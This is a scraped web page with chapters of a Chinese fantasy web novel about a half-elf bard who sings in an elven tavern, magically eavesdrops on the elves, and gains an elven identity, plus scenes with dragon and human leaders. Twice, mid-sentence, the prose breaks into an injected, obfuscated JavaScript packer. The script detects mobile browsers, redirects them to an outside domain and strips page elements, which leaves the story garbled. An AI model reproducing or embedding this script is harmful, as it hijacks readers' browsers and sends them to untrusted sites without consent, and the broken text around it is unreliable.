此时正值傍晚,酒馆中十几张桌子三三两两都坐着精灵,大多是熟客,只有几个刚成年的精灵第一次被允许来这种地方,好奇地左看右看,在这种情况下,布莱尔从角落里走到酒馆中央,迎着所有精灵的目光,观众的目光让享受被关注的吟游诗人愈加兴奋! 好像来到了独属于她的大礼堂,她忠诚的听众们正在下面翘首以待,他人的眼神是 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况且,酒的度数这么低,说不定她只是有一点醉,其实很清醒呢,我们还是不要打扰她的兴致为好。” 是,是这样吗?卡拉被忽悠得一愣一愣。 多多洛说的有道理,要是布莱尔的兴致被打扰了一定会很难受。那先等等看吧,如果情况不对她就立刻把布莱尔拉下来。 正好她也很好奇布莱尔要干什么……应该不会有有事的吧? 最终还是犹豫和好奇占了上风,有个冠冕堂皇的理由在前,卡拉心虚地悄悄藏好自己的小心思,强压下那点不安,绿眼睛和其他精灵一样,亮晶晶地盯着布莱尔。 “诸位——”布莱尔扬起鸦羽斗篷,玄色鸦羽折射出神秘的彩色,露出鸢尾蓝的外衫,她站在那,就像一卷微微褪色的古书,经过岁月的装点,神秘的气质牢牢吸引住所有人的目光。 她走到酒馆中央的空桌,轻轻倚靠,双腿抵在酒馆的木质地板上。 原本有些吵闹的酒馆静下来,仿佛感受到某种气息,年长的精灵神情沉静,闹腾的幼崽莫名移不开眼,大家都不知不觉安静下来,或大或小的精灵齐齐眨着碧色眼眸,竖着尖耳朵,注视中间的半精灵。 这是她简陋而神圣的殿堂,是无人理解的独奏舞台。 半精灵手拿古旧的竖琴,铂金色麻花辫垂在肩上,翠眸晶亮,身形修长,腰身劲瘦,脖颈处的星芒项链熠熠生辉,纤长的手指按在琴弦上。 “今夜,一位无名的吟游诗人来到此地,想讲一个故事。” “请诸位共赏。” 她今天不想唱那些脍炙人口的英雄史诗,也不想唱灾难与废墟,历史与隐秘,只想讲自己,讲那个不为人知的过去。 布莱尔垂眸拨弦,张口吟唱, “银叶轻颤的夜晚,母树舒展翡翠枝桠……” “晨星举起,果实滚落。” “吱吱呀呀的精灵,在花间歌唱……” 清越如溪水般的声音流淌进听众的尖耳朵,优美的旋律和声音不停跳跃,让热爱美赞颂美的听众们沉浸心神,歌声像蝴蝶一样,随风飘出窗外。 有一些精灵眯着眼,像嗅到香味的小狗,被吸引着不跳跃间知不觉靠近酒馆,随着旋律愉悦地晃动。 布莱尔的琴弦间伸出绿色藤蔓,蓝光在指尖闪烁。 曲调一转,由轻柔变为哀婉,又铿锵有力,隐隐尖锐,混着血泪的迷茫。 “……你听~染血的枝叶在哭泣——” “每一次呻吟挣扎的生命——” “是被两个黄昏撕碎的黎明——” “母亲,我的归途到底在哪里……” 歌声悠扬地徜徉在夜空中。 无人见,主星的夜空星光大放,点点星芒似乎格外钟爱这座酒馆,星光仿若形成实质为酒馆镀上一层光晕。 吟游诗人的声声泣血击中了听众的内心,他们甚至忽略了弹奏的技法,和弦的优良,好像淹没在一片充斥着悲伤、挣扎、酸涩、痛苦、渴望与爱意交织的深海。 歌声振聋发聩,一幅染血的画卷徐徐展来。 精灵们无法完全理解诗人的悲伤,他们的心却仿佛连在了一起,好像是自己赤身裸体躺在血红的土地,眼神空洞地望着天空,心里也破了一个大洞。 她是谁,她到底经历了什么竟如此悲伤,如此绝望。 不知哪一位精灵先滚落泪珠,啜泣不断,其余听众们也跟着开始泪流满面,最后整个酒馆找不到一个面无表情的精灵,就连多多洛也不例外,同样面露怔然。 酒馆已经挤挤攘攘站满了,仍有被吸引来的精灵围在外面,一圈又一圈,几乎全城的精灵都来了,稀稀拉拉停在酒馆所在的树枝上,每一位都在哭泣。 吟唱声像是蹁跹的蝴蝶,飞啊飞,飞过密林湖泊,飞过高山,飞过田野,飞过巍峨壮丽的殿堂,飞到了星球最核心的地带,那里有一棵玉质的巨树遮天蔽日,半边枯黄焦黑半边碧绿晶莹的精灵母树抖抖叶片,仿佛在侧耳倾听。 良久,风声呜呜,窸窸窣窣。 风起,云乱,草叶打着旋儿冲向天际,似乎在为自己心爱的孩子哀吟。 而这个故事也到了尾声,诗人按下琴弦,柔和的旋律从指尖流淌出,轻柔地抚慰啜泣的听众。 “残蝶破茧而出,努力舞动破风的翅膀——” “同族将它托举,一步一步,轻盈的蝶也会有厚重的生命——” “黎明的光闪耀其上,越过高山,越过海洋——” “看啊,它飞起来了!” 一曲终了,寂静弥漫,久久不能回神。 有未成年的小精灵忽然出声,嗓音稚嫩但难掩动听,“您,您是谁呢?这个故事有名字吗?” 布莱尔轻勾唇角,“我是一位吟游诗人,这首诗没有名字,但我想如果要为它起一个名字,也许可以叫它——赞美生命。” 赞美,生命…… 精灵们终于回神,围着她,望着她,口中喃喃自语,神情恍惚,像是刚从梦中醒来。 “那您,还会再来吗……”另一位精灵忍不住出声。 “说不定哦,我们有缘会再见的!”布莱尔欢快的回道,竖琴上缠绕的绿藤终于绽放出洁白的花朵,清香弥漫。 再一回神,酒馆中央的吟游诗人已然不在。 无人注意,角落里有两个精灵也消失了。 9. 探索 几个精灵速度都很快,带头的布莱尔一直不停,卡拉和多多洛也稀里糊涂地跟着。 卡拉望着前方轻盈跳跃的身影,千言万语堵在心中,她有很多问题,比如: 你曾经历过什么才会有那样厚重的情感? 你那么厉害,那么优秀,真的如你口中所说的是个流浪儿吗? 还有一些比较无厘头的。 他们就这样跑路是不是不太好? 毕竟那么多精灵聚在那里,把人家震撼了一通结果正主自己跑掉了,是不是有点渣啊…… 各种问题杂糅在一起,卡拉思来想去,脑子乱成一团浆糊,最终还是没有问出口。 算了,每个精灵都有自己的秘密,她相信自己的判断。布莱尔的心弦之声干净又温暖,还带着一些她听不懂的曲调,这说明布莱尔实在是一个很好的精灵。而且从初见起,她也从未感觉到布莱尔对她,对多多洛,对精灵族的恶意。 这样就够了。 他们一直奔跑跳跃,不知过了多久,直到树木越来越稀疏,从参天巨树变成普通的小树苗,卡拉才从繁杂的思绪中挣脱过来,还没等她提出疑问,带头的布莱尔就来了个紧急刹车。 事情发生地太快,卡拉还在走神中,身体顺着惯性冲布莱尔撞过去。 !!! 惊呼声压在嘴边就要出来,布莱尔却像背后长了眼睛一样猛地转过身,抓住卡拉的胳膊转个圈,轻轻松松卸了力,拉到自己怀里,见她还没回神,又顺手将她扶着站稳。 一整套动作行云流水地做下来,还不到一秒,被安排地明明白白的卡拉只觉得一瞬间,自己就从差点撞到布莱尔变成稳稳站直的状态。 她有些怀疑灵生,看了一眼布莱尔,布莱尔镇定自若,坦坦荡荡地回望过来,眸光正直又坦然,让被回望的精灵不禁从自己身上找原因。 难道是自己这段时日太松懈了?又不擅长战斗,所以反应力大大退步,还不如一个精英级的小精灵? 可她好歹是个传奇精灵,是个选定了守护之道的引导者,竟然退步了两个阶位,这退步是不是有点太大了? 一旁的多多洛将这一切尽收眼底,也看出这位心思都写在脸上的同僚在想什么,深觉同事不靠谱,被人卖了还数钱,只能自己上。他内心叹了一口气,接过重任,要将话题引上正轨,打断同僚被某人误导的思路。 “布莱尔,我可以问一下你为什么这么着急拉着我们逃跑吗?” 那当然是因为惨痛的历史教训啦! 布莱尔腹诽道。 但这不能实话实说。 “我看他们情绪都很激动,哭成那个样子。万一反应过来拉着我问东问西,不让我走,或者来讹我怎么办! 还不如一走了之,不然我们到时候想走都走不掉了!”布莱尔像是想到什么似的,脸皱在一起,眼里写满了惊恐,冲着两个同伙理所当然地说道。 “原来是这样。”多多洛作出一副了然的表情,微笑道。 事实上,如果那群精灵反应过来,只会围着她自己,跟他和卡拉一点关系都没有。 结果硬是被这家伙拉着,在这个美好的悠闲的夜晚,离开那暖烘烘的酒馆和美味的秘制熏肉,被迫来了一场狼狈的月下狂奔。 他可是连饭都没吃完呢。 布莱尔到底知不知道,他们今天才刚认识,他们不是她生死与共的同伙,也不是可以互坑的朋友,他们只是陌生人而已。 而已…… 所以怎么会有这么没有边界感的精灵啊! 多多洛长年挂在脸上的礼貌式的微笑都快挂不住了。 然而没有边界感的精灵本人丝毫没有自觉,反而自说自话,把包括她在内的几个精灵都安排得明明白白,“好了,既然现在大家都没事,也已经到夜深了,该睡觉了,你们就回去休息吧,不用担心我,也不用邀请我,我有地方住的。” “希望你们做个美梦!” 多多洛默默看着她,半点也没有邀请她的意思,然而好心的卡拉却完全被绕进去了,还在关心这个厚脸皮的精灵: “真的吗布莱尔,真的不用来我家住吗,我家很大的,也很舒服,而且就在附近,我家还有很多小精灵喜欢的零食,很美味,是我自己做的,你长这么大,还没吃过这些吧……” 布莱尔笑眯眯地望着他俩,眼看卡拉说着说着又想起布莱尔的“凄惨身世”。 虽然卡拉意识到那些所谓的身世有可能是布莱尔瞎编的,但知道那么多流浪儿的细节,她那时的心弦也是些许悲伤掺杂着怀念,说明她确实见过,也可能真的经历过那样艰苦又危险的生活,这让她很难不为她感到难过。 卡拉的神情不知不觉萎靡起来,嘴角也向下撇,见状,布莱尔和多多洛同时脸色一变。 最终还是多多洛速度更快也更了解卡拉,一句话就让卡拉转移了注意力: “哎呀,卡拉,不要总这样操心,孩子大了是要放手才能成长的。不经历风雨如何长出保护自己的尖刺呢。 布莱尔在外面这么久肯定有自己的生存之道,苦难也是她宝贵的财富,是组成她的一点一滴,不能被轻易否定。我们也很高兴在今天能看到这么优秀的布莱尔站在我们面前。” 此话一出,卡拉果然打起了精神,温柔的目光看得布莱尔有些许不自在,她赶紧附和:“对啊对啊,我一点都不难过的!” 她接着重复道:“而且我真的有地方住,我习惯了自己一个人,卡拉你就放心吧!”她露出一个灿烂的微笑。 “而且,我超级期待精灵喜欢吃的零食,卡拉亲手做的一定非常好吃,肯定比密林酒馆做的还好吧!卡拉明天可以带一点给我吗?” 卡拉好像被布莱尔的笑容感染了一样,也扬起一个略带羞涩的温柔笑脸,“好啊,我明早会带过来的,在——” “就在酒馆下面吧,我们在就在树下集合怎么样?” 布莱尔看了一眼卡拉,又一视同仁地看了眼多多洛,卡拉笑着答应了,多多洛则表示婉拒,“还是不了,我明天还有工作,要回主城,一早就走,不在这待着。” 卡拉略有失望,因为她也要上班了,只比多多洛晚一点,她不用一大早赶早班鲸,但也最迟下午就要走。 也就是说明天就要回主城,不能在这久留,有点担心布莱尔没精灵引导该如何融入精灵族呢? 于是卡拉和布莱尔加了星网好友。 多多洛也来凑热闹,主动提出要加布莱尔的好友。 在她眼中,多多洛就不是这种热心肠的精灵,在他开口的那一瞬间,布莱尔的眼神都变了,变成一种奇异的,充满怀疑的目光。 多多洛表现得像一个正常的热情好客的精灵,泰然自若地加了好友,之后表示,卡拉不懂的可以问他,他对精灵族的了解绝对比卡拉深。 然后不出意外地,被憋屈的卡拉愤怒肘击。 “那么,诸位,今夜就到这里,晚安。”自觉今晚事情已经结束,可以告别了,自己明天还要赶早班鲸,不能熬夜,要早点离开。 多多洛行了个精灵族的道别礼仪,一只手抚在胸前,优雅躬身,银发飘逸,丝毫看不出刚刚的嘴欠。 “诸位,愿在母树下安眠。”卡拉紧随其后。 布莱尔左看右看,“模仿”两位,略显生疏地行了礼,姿态优雅中透出几分生涩,展现了出色的演技,学着他们的说法,“诸位,今晚做个好梦?” 行完礼,三个精灵对视一眼,都笑出了声,其中以布莱尔的笑声最为放肆,笑声在寂静的林间传了很远。 笑完后,他们就真的离开了。 望着两个精灵远去的背影,布莱尔长舒一口气。 可算是走了,再不走天都亮了,她还怎么调查。 布莱尔一向是行事上张扬,战术上谨慎,精灵们连个影都看不见后,又施展探查魔法,确定周围真的没人偷看,她才放下心。 接着一只手举起,有无形的星光洒落,洒满她的全身,布莱尔口中念出一段晦涩拗口的古精灵语,眨眼间,身形就融入风中,消失不见了。 无形的风轻柔飘过整座城,飘过每个精灵的窗口。 有一些还在讨论今晚密林酒馆那场惊人的表演和那个神秘的,自称吟游诗人的半精灵;一些已经窝在温暖的被中陷入沉睡;还有一些在和朋友聊闲话…… 没有精灵注意,随处可见的风已经将他们的一言一语卷入那个神秘的半精灵的耳朵里。 甚至在他们不知道的时候,有个精灵悄无声息地路过,目睹了他们的大声争论和捂着嘴八卦的模样。 “诶,梅,你知道莉卡吗?” “嗯,怎么了。” “前段时间不是有商人带来一批爱情小说和歌颂爱情的诗歌嘛。” “呃,费伊,这都是二十年前的事了吧,也不能算前段时间。” “行了梅,别挑刺,二十年很快就过去了,怎么不算前段时间,你听我讲就是了。” “总之,那时候很多精灵都沉迷那种感人肺腑的情感和跌宕起伏的故事,胆子大的甚至真的出去寻找那什么爱情了。” 风送来呢喃絮语,这段对话被断断续续传入池危耳中,引得池危停顿一瞬,竖起尖耳朵,让风更清楚地捕捉声音。 “我知道啊,所以,你不会想说莉卡也去追寻‘爱情’了吧?” “你猜得没错,莉卡半个月前和我发消息说她要去看看爱情是否像书中说得那么美好,外面的世界是不是像星网上那样精彩,还想认识星海中的其他种族,看看和精灵有什么不同。尤其是她那个兽人网友,我跟你说,那还是只兔子兽人呢!” 池危听到这有点着急,生怕这个声音的主人讲着讲着跑到兽人身上,她还想听出去的精灵这么样了呢,有种吃瓜吃到一半瓜跑了的无能狂怒。 很显然,她的同伴也很怕她跑题,连忙制止,让话题回到正轨。 “别说你那兔子了,莉卡到底咋样了!” 仿佛有人说出了池危的心声,池危默默为这位不知名的精灵点了个赞。 “呃,好吧,可我这次真的没跑题!行行行,我继续说莉卡。莉卡她一开始每天都和我联系,分享她遇见的新鲜事,她还和那个兔子面基了呢!” “诶,你别老瞪我!我老说兔子是因为那只兔子真的是重点,莉卡就是和那兔子面基后说找到了爱情的感觉,相处起来和无法繁衍的精灵们很不一样。” “呵,呵,搞得她自己不是精灵似的。” “你听我说完,那只是一开始,后来莉卡就回心转意了。她说后来她觉得精灵果然无法完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212877|181363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全理解会发情的种族,爱情不属于精灵,这让她有点害怕,想逃跑……” “但是一周前,我就联系不上莉卡了,她发的最后一句话是,在兔子强烈要求下她要跟兔子回家看看,然后就回精灵族……” 听到这里,池危的心情凝重起来,起先以为不过是一股潮流风气,商人把“爱情”的概念带进精灵族只是新奇,没想到后来事情的发展越听越不对劲。 所有的细节乍一看毫无关联,可串联起来就发现这不起眼的一举一动都别有深意,仿佛形成一张无形的大网等待一无所知的精灵们闯入。 布局之深远,之广泛令人细思极恐。 先是将“爱情”相关的艺术作品带入精灵族,自然而然就吸引了一批热爱艺术与美的精灵们对“爱情”产生好奇,一些胆子大的精灵自然就会跑出去寻找,看看这个东西是否真的像作品中描绘得那样美好,而精灵族对于自愿离开的精灵也不会起疑。 之后,再在这些精灵身边安插对方的人,利用精灵的好奇和友善将他们一步一步引诱到对方的地盘。 只要离开精灵族的星域,精灵的动向就模糊了,精灵族也无法及时追踪营救,等到精灵落入网中,用远走他乡的他们也就叫天天不灵,叫地地不灵了。 由此可知,对方一定有能屏蔽精灵母树感知的方法。 至于那些胆小的精灵,可以通过网友之类的途径,不动声色引诱他们离开精灵族星域。 如此,就可以最大程度诱骗精灵了。 池危没有继续听精灵们的八卦,融入风中,化风离开。 风在无垠的旷野中刮着,发出呜呜声。 眨眼间,风就从白雾寂林来到绿茵原野,与此同时,整座星球的声音都被四面八方的风陆续送了过来。 更多精灵闲聊中透露出的信息让池危完善了之前的猜测。 另外,还有些意外发现。 “叶酩,姬生,你们就住在这吧。” “啊哈哈好的好的,真是谢谢你啊,我们都不知道该怎么感谢你才好,要不是你,我们俩今晚估计得风餐露宿了。” 熟悉的声音正好是之前坐在她前面的两个人之一,打扮成精灵魔法师的两位同学。 又听了一会儿发现她们也是像她一样,正好也遇到了好心精灵帮助,没有把她俩上报成可疑人员,又凭借她们的装扮顺利融入了这里。 有这两个先例在,应该也有一些人掉到了精灵族吧,根据这段时间的发现,如果恰好被守卫抓住,某些倒霉蛋估计会被送到大牢关起来吧。 不过这个发现只能算是小插曲,池危真正想找的地方还没找到。 嗯? 她突然像感应到了什么似的落在树丫上,摸了摸树干。 窸窸窣窣,吱吱喳喳。 小树晃晃树枝,告诉她,地脉元力最充沛的地方就在不远处。 池危朝着小树指的地方跃去,竟然来到一片清澈如蓝宝石的湖泊。 湖泊蔚蓝透亮,透明的小鱼在湖泊中徜徉,即使是夜色也难掩光彩,发出淡淡荧光。 她有些意外,原以为地脉元力最充沛之地应当草木茂盛,丛林密布,可这里却是一片湖泊,几棵稀疏的小树,和许多杂草。 但仔细想想也不足为奇,因为她就是感应着地脉一路从森林来到草原,如此看来,地脉核心在一片湖泊下面也是可以理解的了。 地脉元力浓郁可以让她更容易地施展法术,借助地力可以短暂施展超越这具身体位阶的魔法,这也是她费劲寻找的原因。 池危走进湖泊,显出身形,余光瞥到地上的草叶,停顿一瞬。 原来这些草不是杂草,全是富含魔力的特殊植物。 可以制作药剂的地根草,金钱苓,水凌叶……以及只长在魔晶矿附近的焰凝花。 这些不是草啊,是闪亮亮的晶币。 要知道晶币的原料就是魔晶石,晶币也是如今唯一在所有种族间流通的实物货币,可以用于修炼,所有人都会随身携带一些。 念及还有正事在身,而且地脉核心以及魔晶矿这么重要的地方肯定有守卫巡视,她艰难地移开了目光,决定速战速决。 池危低下头,清透的湖水倒映出半精灵的影子,她伸出手,触碰水面,鱼群涌过来。 紧接着,无形的魔法发动。 这颗星球上大地保存的记忆,记录的影像,毫无保留地向池危敞开。 从星球形成开始……太早了,快进。 暂停看看。 ……大地发现,某一天,一只小小的半精灵来到核心的上方,好奇地看向湖泊,小鱼一股脑地游过去,祂觉得这只精灵有点可爱,而且有种亲切的感觉,于是祂慷慨地和精灵分享了自己珍藏的记忆。 呃,又不小心调过了,从星球初生调到今天这种跨度是不是有点太大了啊! 池危再次调整,终于找到了想要的片段。 记忆很快跳到第一批精灵族登陆,肉眼看不清的影像在池危眼眸中飞快闪过,精灵母树不断繁衍,精灵由少变多,一度达到数十万的规模,又因为某种原因不断减少。 随着池危的浏览,千年间精灵的历史清晰展开。 再结合母树如今并不良好的情况,池危大抵知道精灵族的近况和解决方法了。 10. 后续 布莱尔正在进行身份核验,她的面前摆放着一块淡金色的晶石 “将手放在上面就好啦,不要紧张!无论结果如何,我们都会接纳你的!”长着兽耳的检测员一脸怜爱,柔声安慰她。 布莱尔灿烂一笑,道了谢,将手放了上去。 原本澄澈透明的晶石产生了絮状物,慢慢遍布整个石头,使晶石变成浑浊的鹅卵石模样。 “诶,精灵血脉很浓哦,另一半血脉应该是人族的,融合得还不错,最近找回来的精灵很少有这种纯度的呢!”检测员盯着面前的光屏,先是一愣,接着是惊喜,语气中含着淡淡的艳羡。 “恭喜恭喜!欢迎加入精灵族,请拿好你的身份凭证!” “同喜同喜!”布莱尔接过一个叶子状的芯片,按在自己饱经风霜的光脑上,芯片融化成了一个不明显的印记,她打开光脑一看,果然通过了精灵族的身份认证。 【哇,宿主,恭喜宿主踏出攻略精灵族的第一步——取得身份,请宿主再接再厉!】 池危忍不住吐槽一句。 再接再厉什么,取得其他种族的身份验证吗?好像不是不可以! 收集各个种族身份证有点像集卡诶…… 这个念头在脑海中转了一圈,又消失不见。 布莱尔和卡拉相携离开大厅,走过时可以听到周围精灵的窃窃私语,“喂,你昨晚有没有去密林酒馆?” “没有啊,那酒馆有什么特别的,都去腻了,除了金梅酒还算不错,其他的都没啥新意,还没布林城的机甲体验馆有意思。” 一听这话,方才的精灵就来劲了,满脸遗憾,“唉,你是不知道啊,昨晚酒馆可热闹了,有个吟游诗人过来表演,声音传遍了方圆十里,拉尔城有一半的精灵都被吸引过来了,就为了听她的故事!” “那真是直击心灵的艺术,登峰造极,感人肺腑!身临其境!你没听到可真是可惜了!”那个精灵语气激动,捧着脸,神情有点恍惚。 “啊,真的?那我今晚过去还有吗!” “听说只是人家的即兴之作,有精灵问她会不会再来,她只说了随缘……” 听着耳边渐渐远去的八卦声,当事人布莱尔一边吃着卡拉带来的果干和脆片,一边若无其事地问卡拉,“卡拉,我们是要去见长老吗?” 卡拉此刻的心情很复杂,昨晚事情发生地很突然,虽然对布莱尔的身份是假的有所猜测,但事后回想觉得她确实没怎么掩饰,是她自己,太容易相信别人了…… 她后来又向多多洛试探,没想到多多洛一见面就识破了布莱尔的伪装。 她是该生气布莱尔的欺骗,可是另一方面她又怀疑是不是自己太笨了,明明这么明显的事,她怎么就被骗到了呢? 卡拉不禁又想到了昨晚布莱尔的那首诗,她听到的心弦声音可以伪装,可布莱尔那首诗中的情感却做不了假。 她如此热烈地赞美生命,赞美生命的顽强和不屈不挠,怜爱卑弱,不惧苦痛,向往自由……这样的人,怎么可能是一个卑劣的骗子? 布莱尔的才华深深折服了卡拉,卡拉忍不住为她开脱,她一定是有苦衷才会骗她的,这一定不是她的本意! 不过,纵使如此,放任一个不明身份之人在本族的大本营里闯荡,还给她完善了身份,如此荒唐之举不是卡拉自己能担着的。 “布莱尔确实是半精灵,这做不了假。” “至于她的目的……我能感觉到她的善意,她对精灵族的热爱,如果我没猜错,她那个故事讲的是她自己,也是……所有的半精灵。” 多多洛不是凭感觉,这是他的天赋——心灵相通,这个天赋能够在他人有强烈情感波动时看到隐约的画面,窥见那人内心的一点真实。 至于他具体看见了什么……多多洛忍不住倒吸一口凉气,不可说,不可想象。 不过,这个神秘的半精灵,也许是精灵族这滑落悬崖时的一点助力呢…… “我为她担保,若有意外,我多多洛以十三长老之名,一力承担!” 卡拉的回忆到此戛然而止,也正是多多洛的担保,卡拉才会带着这个半精灵来认证身份。 她回头温柔地回答布莱尔的上一个问题:“当然啦,新找回来的精灵都要由长老亲自教导,就算成年了也要补完功课才能独自生活哦!” 布莱尔瞪圆了眼睛,卡拉你37度的嘴里怎么说出这么冷冰冰的话的! 谈话间,两个精灵走出办事厅,背后明亮整齐的大厅变成了昏暗的树洞。 他们站上停靠在树边的两架宽叶飞行器,两片宽叶直冲天际。 天上还穿梭着各式各样的飞行器,花朵型,鱼型,鸟型应有尽有,每一架飞行器上都站着一个或两个精灵。 精灵族无性别,都是由精灵母树诞生的,个个美貌高挑,魔法天赋出众,大部分亲和风元素木元素和水元素,是名副其实的自然之子。 他们热爱艺术和美学,多用花朵蝴蝶藤蔓等自然元素装饰自己,也因此,当一大群精灵从面前走过时,很难有人不为那神赐般的美丽而动容吧。 更别提主星已经封闭,所有外族都被强制撤出,现在还留在主星上的只有精灵和半精灵,所见之处全是美丽的精灵,没一个丑陋的造物了。 池危随卡拉驾着飞行器离开树林,也就是拉尔城,来到一片平原的上空,嗯,就是昨晚布莱尔探索的那个平原。 这里的建筑沿袭了精灵族精致华美又不脱离自然的风格,但是没有建在树枝上,而是直接建在地面,建筑或高或低,有的高耸入云外表似树,有的精致矮小,站在高空很难看清。 但卡拉没有下去的意思,两架飞行器加速驶过,冲入云间。 “我们接下来要乘坐云鲸,去往主城找七长老,他负责引导刚加入的半精灵如何融入精灵族,如何生活,如何使用精灵族特有的魔法,只要达到标准,就可以自由生活了。”卡拉一边耐心科普,一边替她验了票,走入停靠在云间轨道的巨大云鲸。 像棉花糖一样的云鲸嗡鸣一声,内部却很稳当,感受不到丝毫颠簸。 池危摸摸墙壁,用精神力感受一番,不确定道:“这是,炼金造物?” 卡拉点点头,“当然了,除了飞行器是死板的器械,精灵族还是习惯用炼金造物的,毕竟也不是每个器械都是智械族,没有觉醒意识的普通器械还是太没意思了。” 池危为卡拉这种理所应当的做派暗暗咋舌,精灵族都这么有钱的吗!要求这么高,炼金造物相当于私人纯手工定制的最高规格奢侈品了,而这种奢侈品在精灵族随处可见…… 再加上遍地的魔药矿石,有许多只有精灵族才有,是精灵族的特产,星海各族是供不应求啊,再加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那边的安德烈张了张口,自知失言,面对挂断的嘟嘟声深深叹了口气,静坐于空无一人的书房,双手交叉抵在额头上,同样被刚刚脱口而出的话语牵动心神。 如果她还在就好了……自那场噩耗之后,谢明雪就一直对他有怨,怨他当初明知有诈为什么发出了那道指令。 如今友人离心,曾经一起并肩作战的战友四分五裂,天各一方,茫茫星海群敌环伺,被她震慑强压的敌人蠢蠢欲动。 听说反叛者又建立一个新的人类国度,叫什么亚德兰帝国,这就算了,以后什么样还不好说,但各星系怪事频发,驻守的军队纷纷上报,这些麻烦一股脑地爆发,所有的一切全部都压在他一个人的肩上,再没有人可以倾诉,再没人挡在他身前,让他能依赖片刻…… 难道自人类走入星际以来就巍峨耸立,绵延七百年的黎明帝国,也即将迎来它的落幕了吗? 另一边,刚刚还冷酷冰冷,雷厉风行的长官挂断通讯后便一直保持笔挺的站姿,目光凌厉似刀光,盯着身前的操纵杆,气压极低。 哪怕只是在别人口中听到那个人,被反复撕裂的,血淋淋的伤痕也痛得她只想抱住自己,静静舔舐。 她伫立在那,默然无言,木然如冰雕,只有微颤的睫羽才能看出这是个活物,银发银眸泛着冰冷的光泽,像是一捧黯淡的雪。 良久,谢明雪转身离开。 11. 通知各方 “人族?你的意思是有人会突然出现在我龙族的领地?” “那你可知道,我族中幼崽三天前刚被掳走!我又如何确定这不是你人族的阴谋!” “诶,不是——” 没等维克多解释,奥瑞利亚就语气不善地挂断通讯。 那边的维克多揉揉鼻子,看着再次被不留情面直接挂断的通讯陷入了沉思。 今天一个两个都商量好了不成,没一个和他好好说再见,都是直接挂断的,他难道就这么不受待见? 维克多再次拨打了智械族的通讯,刚刚听到“维克多,你还有什么事吗?”他便坏笑着挂断了,全程没吭声,事后还不走心地解释: [抱歉哦,刚刚不小心碰到了,首领您大人有大量,应该不会跟我计较吧~] 被茶到的智械族首领:…… 希流:[虽然这不是什么大事,但怎么感觉你的语气这么奇怪,让我有点想打你一顿,而且我的身体好像出问题了,想吐机油,根据人族情感的搜索对比,这种感觉叫做恶心。] 黎明最帅大帝:[哈哈,那是你的错觉啦,要我说,你们智械就是一群铁疙瘩,还有得学呢! 我们人类的不同语调在不同场景下有不同的含义,你肯定是又分析错了,赶紧更新一下数据库吧,我维克多刚刚确实是诚心实意地道歉的!你竟然冤枉我!我好伤心呜呜呜~] 希流:[……我更想打你了。你的话不能全信,等我更新以后再分析,你肯定还有别的意思,等着,下次会议结束后我会再来找你的。] 坏了,忘记希流这家伙被他忽悠几次过后长记性了,从傻白甜人类语言小白变成了狂野的直觉系野兽派,现在完全依照直觉行动,只要它感觉自己有在用它听不懂的奇怪人类语言糊弄它,它就要直接动手! 淦!玩脱了! 希流你不要过来啊!这种语气怎么这么像你放学别走啊!希流你学坏了!呜呜呜。 维克多咬着小手绢无比怀念曾经那个好骗的傻白甜小机器人。 ----------------- 回到龙族主星,奥瑞利亚身旁的银龙在听了通讯后义愤填膺,嘴边两条长长的龙须都翘得老高, “王,这人族居然敢提出这种无理要求,他难道不知我们龙族的规定便是,无论是否有意,擅闯者格杀勿论吗? 王,他分明是在挑战我们龙族的威严!” 但奥瑞利亚却意味不明地哼了一声,从鼻中喷出硫磺般的气息,震得墙壁微微颤动。 她庞大的身躯盘成一个环形,将脑袋枕在尾巴上,龙身压着金灿灿的晶币和各色闪耀澄澈的昂贵矿体,却都在她的鳞片下黯然失色。 片片龙鳞大约巴掌大,乍一看金光灿烂晃眼,可仔细看去却见其中五彩光芒流转好似液体,澄澈晶莹,但边缘的锋锐让人一看便知这龙鳞堪比陨铁制成的刀刃。 “他说的应该是真的。但偷幼崽这种事是各族的禁忌,无论哪个种族都不敢在这件事上做文章,它的后果任何人都承担不起。况且宇宙公约的效力还在,各大文明都受其约束。 公约的底线便是不得随意侵略其他文明,不得动用战略级武器,不得造成任何种族灭亡,文明消亡,不得肆意殖民压榨。 幼崽是每个文明未来的底蕴,是希望的火种,关系着种族延续,他有几个胆子偷龙崽?又怎么承受违反宇宙公约的后果呢?” “所以,定然不是明面上这些种族做的,而是暗处被我们所有人忽视的一股势力。” 至于到底是谁……奥瑞利亚想起那些疯子狂热的眼神癫狂的举动和悍不畏死的作风…… 有点像之前的遇到的那些烦人的虫子,好像叫什么“进化研究会”? 他们跟疯了一样狂热地崇拜幻想种族,否认自己原本的种族,并且盗取了祂们褪下的皮毛鳞片之类,试图将幻想种族的基因融于自身。 她当初遇见时只是觉得烦,随手毁掉了据点,但她直到现在无法忘记那些家伙被毁灭时眼中流露的令人心惊的偏执与狂热,与脸上的狂喜似乎将她当做神明,被神明毁灭即是此生最大的荣幸。 现在想来,那眼神中还包含了深深的渴望,渴望饮其血,食其肉,啃其骨!将神明的血肉吞吃入腹,与神明融为一体!这样,他们也能向其靠近,甚至……成为祂们。 奥瑞利亚心中产生一股恶寒,但并无恐惧只有烈火沸腾的愤怒。 她听说其他幻想种族也有幼崽失踪的情况,如今线索断了,只能与其他种族合作了,他们虽不怎么对付,可在对待幼崽的态度上却惊人的一致,那就是幼崽是底线,绝对不能碰! 这是种族之间的心照不宣,平时再怎么看不惯,怎么互坑怎么别苗头,今天你占领一颗高级资源星球,明天我炸毁一座军事要塞,都是各凭本事,但要是无耻地牵扯到幼崽,不好意思,双方能直接拼命!所以为了双方的幼崽,咽下一口气,暂时合作又何妨! 